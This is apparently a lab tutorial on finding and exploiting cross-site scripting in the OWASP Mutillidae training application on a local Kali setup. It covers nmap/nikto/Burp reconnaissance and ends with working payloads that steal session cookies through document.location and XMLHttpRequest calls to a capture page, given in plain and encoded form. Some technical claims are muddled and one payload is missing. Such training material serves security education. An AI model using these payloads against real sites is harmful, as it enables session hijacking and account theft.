Exploiting XSS in Mutillidae Tutorial
The testing grounds will consist of Owasp’s Mutillidae server on a kali virtual box environment. Recommended reads before tutorial:
If you haven’t set up Mutillidae before, checkout the Initial Setup of Mutillidae page
Mutillidae Overview
Mutillidae is a web hacking environment designed for vulnerability assessment tool targets and labs [14]. It is preinstalled on samurai WTF and OWASP BWA.Owasp Broken Web Applications Project (BWA)[15] which has all the versions of OWASP top 10 historically, up until 2017. Samurai WTF[16] is distributed as a VM or source code. In this scenario, the source code was used for its build scripts, static assets and Vagrantfiles, that would retrieve a variety of tools and training targets during the build process, which would make up Mutillidae. Mutillidae is presented in 3 levels:
● Level 0: this is the beginner level, where it has no controls.
● Level 1: this is the intermediate level, where it has input validation on the client side, and more stringent field restrictions. Like length limit.
● Level 5: is the difficult level. Has client side and server side protection and field restrictions.
The next section describes the experimental activities carried out to exploit XSS vulnerabilities in all levels of Mutillidae and how we arrived at that result.
Experimental Activities
XSS flaws can be difficult to identify and remove from a web application. The best way to identify these flaws is to conduct a security review of the code and search for all places where input from an HTTP request could possibly make its way to the HTML output. Tools like Nessus, Nikto can help scan for these flaws, but not in depth. If one part of a website is vulnerable, the likelihood tends to be quite high for finding other problems. For this reason, tools like Burpsuite, and Web Developer will be used to support the initial scan.
Following the OSSTMM 4 point process discussed in the previous, this section will be split into each phase, explaining the tools used to carry the step, environmental observations, the actions taken and the results obtained. Please refer to Appendix: Environment Setup for reference on how the Mutillidae Server was set up locally. After setting up the environment. The next stage is to start analysis and testing of Mutillidae using OSSTMM’s 4 Point Process:
Inquest
In this step, we focus on gathering machine information, sweeping the network to identify our target (in our case we know it is localhost since we set up the server locally), port scanning and finally OS fingerprinting our target.
Machine Information
Our machine information can be gathered using the ip addr command: (See below image: “ip addr show output”) 
- IP: 10.0.2.15/24
- MAC: 08:00:27:79:ed:8d
To find out the device name on the testers machine which would be used to handle packets going to the target: Mutillidae, the ip route show command is used:
- Target network device: 10.0.2.2
The ip route show command outputs entries in the routing table (linux kernel routing table). The following entry line represents the route for the local network. All network packets to a system in the same network are sent directly through eth0.
As seen in the above image, our default route is set via eth0 interface, therefore all network packets that cannot be sent to the previous entries of the routing table are sent through the gateway defined in the entry: 10.0.2.2
Scope link means the packet is just dropped on the link and sent straight to the interface as the destination is in the local network, no gateway is needed. Don’t route to another network if packets are coming from the same local network. One can also use the command route -n to verify as it displays the gateway more clearly.
Network Sweep
Network sweeps typically involve sending pings to a range of ip addresses, it could be in the icmp when we are dealing with Windows, or it could be in the form of UDP, it depends on the OS. We can do a network sweep to identify the IP of the target. In our case is localhost. When we deal with localhost, it takes the shape of ARP when sweeping in local networks, as it is used by the internet gateway to find hosts, either coming in or out. You can do a network sweep with tools like ping, Arping (for arp packets), hping3 (which has a packet crafting feature) or nmap (offers the option of ip ranges). To do a network sweep the nmap command will be used, as follows:
- nmap -sn [target’s ip]
The -sn flag specifies to do a network sweep only, in other words, perform a ping only scan (the default nmap scan includes ping scan). In the previous steps we should have identified the target’s ip. In our case is localhost.
Usually you ping localhost for testing, say performance issues. In our case the localhost address in reality should be the target’s ip address. However, in the above image we see, after performing the nmap ping scan, TCP packets. This is because the way 127.0.0.1 works, when you establish an IP connection to this address, it gets assigned a 255.0.0.1 subnet mask, so if any network device receives data packets with the loopback address (127.0.0.1) as destination, the data information will not be logged. In other words, a data packet is dropped off outside of the localhost. This helps maintain network security by preventing picking up data packets that attempt to activate other services in response.
Port Scan
Port scanning involves identifying services on a target and which ports are open. Port numbers are used to identify client/server applications. A server application binds to a well known port number and a client connects to this using TCP/UDP. The following nmap command will be used to perform a port scan:
- nmap -Pn [target ip]
The -Pn disables host discovery and specifies a port scan only scan (the default nmap scan covers port scanning).
As seen in the output of the screenshot, we can see that port 80 with service HTTP is open, as well as mysql on port 3306 and http-proxy on port 8080 (this is burpsuite, which will go into detail in the following sections).
As seen in the image above, nmap sends several TCP packets to try and establish a connection. It will mark the port as close if the TCP handshake is not completed (if it does not receive ACK) if it does, as seen in the image, where port 3306 and 8080 receive an ACK signal, it marks the ports as open.
Manual fingerprinting
Lastly, we will manually fingerprint the target using netcat with the following command: nc [target ip] [target port]
Checking the proxy: 
The command nc localhost 8080 will output information about burpsuite, as it is currently being used as a proxy configured with a firewall to track requests and forward them. As seen in the screenshot above, we learnt 8080 is used by burpsuite’s proxy.
We can check this by typing HEAD / HTTP/1.1 to send a HEAD HTTP request (when netcat establishes the connection). The HEAD method is a method very similar to the GET method, except the server will not return a message-body in the response. We are simply receiving the metainformation contained in the HTTP headers response.
Similar steps are carried for port 80 and 3306.
In the image we can see the port 3306 serves mariadb as a database.
For port 80, it returned a bad request error due to requiring a virtual host name. Which we have not assigned to localhost. But we care more about the server information displayed, which tells the tester Apache version 2.4.46 (Debian) is running (see below).
The next step will be Induction, where the target server will be enumerated.
Induction
In this step, nikto will be used to enumerate the server. Nikto is an advanced web server security scanner. To enumerate the target, the following command is used:
- nikto -host [target ip]
As seen in the screenshot below, the output of the nikto scan shows valuable information for the coming steps. First, the X-XSS-Protection header is not defined, so it could be possible the target is vulnerable to XSS. As mentioned previously, modern browsers now use Content-Security-Policy (CSP) to protect against XSS, however, if the browser version is old, and does not support CSP, then it is likely to be vulnerable to XSS. Also, POST method is allowed, this is useful if we want to forward requests using burpsuite.
In the next section, we will interact with the server to discover its workings.
Interaction
In this step, DirBuster will be used. DirBuster looks for directories and paths in the target server by passing a txt file containing possible options. DirBuster comes with built-in directory lists, found in /usr/share/dirbuster/wordlists in this scenario, we will use directory-list-2.3-small.txt. See below image for reference: 
It looks like 2 directories where identified. Icons and server-status, which we knew after running the nikto scan. Next we move on to Fuzzing to discover useful or secret links.
Fuzzing
Fuzzing uses a “spidering” technique where it is possible to discover different links, with the possibility of some being “secret” and not in the normal navigation tree. To do this, we will turn “intercept on” in Burp Suite and navigate to http:localhost/mutillidae/index.php?page=home.php. After refreshing the page in the browser, we navigate to Burp Suite’s Proxy tab and Intercept. Then, we right click and select “send the page to intruder”. After navigating to the intruder tab, we clear the selection in “Positions” and select only the page value, which is home, and we add it. See below for the sniper payload:
In Payloads, we need to configure a list of possible secret pages. In this scenario, the list of possible pages contains the following strings: “admin”,”administrator”,”accounts”,”accounting”, “agent”, “agents”, “secret” and “secrestuff”.
After running the attack, it seems some payload keywords got a status 200: secret and admin, meaning Sniper found these files:
We can now navigate to each page to identify what information they provide. Please refer to Table 1: “Sniper Results” for reference on findings.
As seen in Table 1, we can see useful configuration information, we can see our machine, the apache configuration and the directory where we set up Mutillidae (/var/www/html) HTTP request and response headers, useful for crafting requests, and core values, which is information about php.ini directives used to configure the PHP setup [25]. We can also see that curl support is enabled and many more valuable things. For an overview on “secrets.php” see below:
However, in our scenario, we care about values that can help us identify how to Bypass the controls to carry out a XSS attack. If we navigate to secrets.php on each level of mutillidae, we come across with interesting information. In level 0, the Filter information for Input Validation and Filtering is disabled. However if we toggle security for Level 1: Medium difficulty, we can see that the Input Validation and Filtering is enabled. See below screenshot:
If we toggle security to level 5: hard difficulty, access to the secret.php and admin.php is disabled.
In the next stage, all the information gathered so far will be used to craft a more offensive testing technique approach, with the aim of demonstrating if the application is indeed vulnerable and exploitable to XSS.
Intervention
From the information gathered, we can see there is a possibility for XSS. In this section, we will distribute the attacks carried per level, and document if there have been successful XSS attacks for each. Starting from level 0:
Level 0: easy
As we gathered in the previous steps, input Validation and Filtering is disabled. So it should be possible to inject a malicious payload into an input field. The payload chosen for this level is: </script> alert(‘mel was here’)> </script> which has been inserted in the dns-lookup.php tool of mutillidae.
The input field asks for an IP to conduct an DNS lookup. However, after passing the above mentioned payload, we can see it popped an alert on the website, after reloading:
This payload is an example of Reflected XSS, wherein malicious code is executed on the client side to display an alert. See Img Q for reference, where the payload will be executed. Meaning we have exploited a Reflected XSS vulnerability. You can show more sensitive data, like cookies, by typing document.cookie inside alert.
Now that we have demonstrated Level 0 is vulnerable to XSS, we can now continue to the next level, level 1:
Level 1
For this level, considering there is input sanitation, we will try a Stored XSS. So will leverage the server side running the script for xss to be successful instead. To carry out this attack, the following payload will be used: on Mutillidae’s blog entry page. As we can see, in the screenshot below, the attack was successful, and everytime this page is refreshed, it will display a user’s session ID.
As we saw earlier in secrets.php, curl is enabled. We could now use curl to save the session ID when someone accesses the page, by doing:
- curl -b “security=low;PHPSESSID=essb7pkbv6d05t2umrkcjlven3” –location “http://127.0.0.1/mutillidae/index.php?page=add-to-your-blog.php” > login.html
To test this, an account with username “mel” has been created. Check it out:
Bonus Points
We also saw in the secrets.php configuration there was no protection against url html encoding. Another type of vulnerability found is by injecting XSS into JSON using the Pen Test Tool Lookup page url. Below is the unencoded form:
”}} );document.location=”http://localhost/mutillidae/capture-data.php?cookie=” + document.cookie;//
The payload itself calls capture-data page which captures activity to the server, and executes document.cookie to reveal the session cookie:
document.location%3d%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3b [32]
The complete injection, after using an html encoder, looks like
”}})%3bdocument.location%3d%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3b// [32]
After carrying out the attack. We can navigate to capture-data to see if document.cookie was captured, as directed in the malicious payload.
We can see in the screenshot above, it successfully captured the session cookie and the referrer was not logged.
Level 5
There is now sanitation of input and output. Meaning the input is being validated on the server side as well. As Stored XSS did not work when attempted again on Mutillidae’s blog. It was also noticed, the show hints button now disappears. To find out why, we can use developer tools and quickly check. If we type document.cookie in dev tools we see that showhints is set to 0.
- “showhints = 0”:
If we then type documents.cookie = “showhints=1” we have now changed the setting cookie in our session. After reloading the page, these settings will then tell the server that the flag is now 1. Which will then send back to us the new copy of the webpage with hints.
- “showhints = 1”:
It was also noticed in the page, the browser information being displayed at the bottom. Using burp, we were able to forge the request and change the payload in User-Agent. Allowing for a successful injection. See below as reference for the forged request in burp.
The way this works is, with Burp Suite’s intercept on, we modify the payload on the user agent, we are able to successfully inject into the browser banner:
Since we did not see signs of CORS in the previous steps, another possible XSS variant is, by stealing cookies with XHR injection, using generic XHR using GET and XMLHttpRequest. Since we are using Firefox, as we identified in the previous steps, we know we can craft a payload optimized for Firefox, since it has XMLHttpRequest support. As most new browsers do. CORS restricts which resources can interact with what, and if scripts can initiate cross-origin HTTP requests, thus, this attack could be successful. To test out this attack, we will use the following payload:
- Un-encoded: (remember to enclose with script)
_ var lXMLHTTP; try{ var lAction = “http://localhost/mutillidae/capture-data.php?cookie=” + document.cookie; lXMLHTTP = new XMLHttpRequest(); lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open(“GET”, lAction); lXMLHTTP.send(“”); }catch(e){} [32]
- Encoded version:
”}} )%3bvar+lXMLHTTP%3btry%7b+var+lAction+%3d+%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3blXMLHTTP+%3d+new+XMLHttpRequest()%3b+lXMLHTTP.onreadystatechange+%3d+function()%7b%7d%3blXMLHTTP.open(%22GET%22%2c+lAction)%3blXMLHTTP.send(%22%22)%3b%7dcatch(e)%7b%7d// [32]
Check the image below as reference, we can see we have captured the user’s session cookie in capture-data.php. The attack has been successful.
And thats it, you did it!
Hope you had as much fun as I did when writing this tutorial, happy hacking!
References
[11]Tools.kali.org. 2021. [online] Available at: https://tools.kali.org/information-gathering/nikto . [12]Tools.kali.org. 2021. [online] Available at: https://tools.kali.org/web-applications/dirbuster . [13]Portswigger.net. 2021. Burp Suite - Application Security Testing Software. [online] Available at: https://portswigger.net/burp . [14]Penetration Testing. 2021. OWASP Mutillidae II 2.8.44 releases: OWASP Mutillidae II Web Pen-Test Practice Application. [online] Available at: https://securityonline.info/owasp-mutillidae-ii-we b-pen-test-practice/#:~:text=OWASP%20Mutillida e%20II%20is%20a,for%20the%20web%2Dsecurit y%20enthusiast.&text=Mutillidae%20has%20been %20used%20in,target%20for%20vulnerability%20 assessment%20software . [15]Penetration Testing. 2021. OWASP Top 10 2017 final version has been released! • Penetration Testing. [online] Available at: https://securityonline.info/owasp-top-10-2017/ . [16]Samurai-wtf.org. 2021. [online] Available at: https://www.samurai-wtf.org/ . [17]SourceForge. 2021. OWASP Mutillidae II. [online] Available at: https://sourceforge.net/projects/mutillidae/ . [18]MariaDB KnowledgeBase. 2021. Upgrading from MariaDB 10.4 to MariaDB 10.5. [online] Available at: https://mariadb.com/kb/en/upgrading-from-maria db-104-to-mariadb-105/ . [19]MariaDB KnowledgeBase. 2021. SET PASSWORD. [online] Available at: https://mariadb.com/kb/en/set-password/ . [20]table, M., 2021. MySQL Error #1133 - Can’t find any matching row in the user table. [online] Stack Overflow. Available at: https://stackoverflow.com/questions/12877458/m ysql-error-1133-cant-find-any-matching-row-in-the -user-table . 7 [21]Owasp.org. 2021. Content Spoofing Software Attack | OWASP Foundation. [online] Available at: https://owasp.org/www-community/attacks/Conte nt_Spoofing . [22]Cheatsheetseries.owasp.org. 2021. Cross Site Scripting Prevention - OWASP Cheat Sheet Series. [online] Available at: https://cheatsheetseries.owasp.org/cheatsheets/Cro ss_Site_Scripting_Prevention_Cheat_Sheet.html . [23]Academy, W. and scripting, C., 2021. How to prevent XSS | Web Security Academy. [online] Portswigger.net. Available at: https://portswigger.net/web-security/cross-site-scr ipting/preventing . [24]Developer.mozilla.org. 2021. X-XSS-Protection - HTTP | MDN. [online] Available at: https://developer.mozilla.org/en-US/docs/Web/HT TP/Headers/X-XSS-Protection . [25]Php.net. 2021. PHP: Description of core php.ini directives - Manual. [online] Available at: https://www.php.net/manual/en/ini.core.php . [26]W3schools.com. 2021. PHP htmlspecialchars() Function. [online] Available at: https://www.w3schools.com/PHP/func_string_ht mlspecialchars.asp . [27]Php.net. 2021. PHP: json_encode - Manual. [online] Available at: https://www.php.net/manual/en/function.json-enc ode.php . [28]Acutenix. 2021. XSS-filter-evasion. [online] Available at: https://www.acunetix.com/blog/web-security-zone /xss-filter-evasion-basics/ . [29]Developer.mozilla.org. 2021. Same-origin policy - Web security | MDN. [online] Available at: https://developer.mozilla.org/en-US/docs/Web/Se curity/Same-origin_policy . [30]Developer.mozilla.org. 2021. Cross-Origin Resource Sharing (CORS) - HTTP | MDN. [online] Available at: https://developer.mozilla.org/en-US/docs/Web/HT TP/CORS . [31]2019. XSS Attack Prevention over Code Injection Vulnerabilities in Web Applications. [ebook] IJITEE. Available at: https://www.ijitee.org/wp-content/uploads/papers/ v8i8/G5456058719.pdf . [32]Academy, W., scripting, C. and sheet, C., 2021. Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy. [online] Portswigger.net. Available at: https://portswigger.net/web-security/cross-site-scr ipting/cheat-sheet .
